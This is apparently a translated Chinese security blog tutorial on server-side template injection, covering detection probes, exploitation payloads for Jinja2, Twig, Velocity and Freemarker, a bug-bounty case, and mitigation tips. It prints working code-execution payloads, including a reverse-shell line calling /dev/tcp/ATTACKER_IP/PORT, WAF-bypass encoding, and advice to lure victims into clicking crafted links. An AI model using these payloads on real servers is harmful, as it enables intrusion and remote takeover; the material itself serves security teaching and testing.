白帽故事 · 2025年8月18日

深入解析SSTI:像专家一样发现与利用服务器端模板注入漏洞

file

什么是服务器端模板注入(SSTI)?

服务器端模板注入(Server-Side Template Injection,SSTI)发生在用户提供的输入被不安全地嵌入到服务器端处理的模板中。这些模板(如Python中的Jinja2,PHP中的Twig,Java中的Velocity)通常用于渲染动态网页。

如果开发者盲目地将用户输入注入渲染上下文,可能允许任意代码执行——根据引擎和服务器配置,有时甚至导致完全的远程代码执行(Remote Code Execution,RCE)。

检测SSTI:初步侦察与模糊测试

典型注入点:

  • 用户名、个人资料名称、搜索输入
  • 联系表单或支持消息
  • URL参数或路由变量
  • 反映用户输入的错误信息

基本检测Payload:

使用以下模板表达式测试是否会被计算:

  • {{7*7}} → Jinja2 / Twig / Django / Nunjucks
  • <%= 7*7 %> → ERB(Ruby)
  • ${7*7} → Velocity / JSP
  • #{7*7} → Thymeleaf

注入到表单字段或查询参数,观察响应中是否包含计算结果49或执行后的表达式。

友情提示:

使用Burp Intruder或Turbo Intruder,结合针对模板引擎的字典,观察细微表现——如空白字符修剪、部分计算或反射。

利用:从模板注入到远程代码执行

确认存在SSTI后即可升级为代码执行。具体方法如下:

利用Jinja2 (Python):

  1. 确认引擎:
    • {{7*7}}返回49,很可能是Jinja2
  2. 读取内建类型:
    • {{ ''.__class__.__mro__[1].__subclasses__() }}
      这会访问所有载入的Python类,查找subprocess.Popen(通常索引约400以上)
  3. 生成shell:
    • {{ ''.__class__.__mro__[1].__subclasses__()[408]('id', shell=True, stdout=-1).communicate() }}
      在服务器上执行id命令。需要时替换为反向shell:
      {{ ''.__class__.__mro__[1].__subclasses__()[408]('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"', shell=True, stdout=-1).communicate() }}
      若被沙箱限制,可尝试使用eval,弱过滤绕过或未过滤的循环变量

利用Twig (PHP):

Twig默认不支持直接执行代码,但若禁用自动转义(autoescape)且暴露了危险过滤器(如systemexec),可以链式调用过滤器:
{{ ['id']|filter('system') }}
更复杂的代码可通过访问globals或利用对象注入、操作Symfony或Laravel上下文执行

利用Java模板引擎:

  • Velocity:
    #set($x="")$x.class.forName("java.lang.Runtime").getRuntime().exec("id")
  • Freemarker:
    <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id") }

现实环境中发现SSTI

使用Burp Suite搜索

  • 在Intruder使用定制Payload
  • 监控是否返回计算表达式结果(如49Hello admin
  • 编码Payload绕过WAF(如%7B%7B7*7%7D%7D
  • 利用Collaborator实现DNS/HTTP异步执行

file

真实案例:漏洞赏金计划中的Flask + Jinja2

研究员发现密码重置功能URL含next参数,能够重定向:
GET /reset-password?next=/dashboard HTTP/1.1

尝试注入:
GET /reset-password?next={{7*7}} HTTP/1.1

响应页面显示:
<p>You will be redirected to 49 shortly...</p>
确认Jinja2 SSTI漏洞。

升级步骤:

  • 确认引擎及Payload生效
  • 获取subprocess.Popen索引
  • 利用反向Shell代码执行
  • 诱导目标点击构造的密码重置链接触发执行

由于输入未在Flask的render_template_string()中‘消毒’,攻击者可完全控制服务器代码执行。

防范建议

  • 避免使用render_template_string()
  • 使用沙箱环境执行模板
  • 白名单过滤输入或强模板上下文隔离
  • 在模板渲染前实现输入验证与消毒

相关Payload及实验资源

原文:https://infosecwriteups.com/deep-dive-into-ssti-finding-and-exploiting-server-side-template-injection-like-a-pro-bd018ee7ab69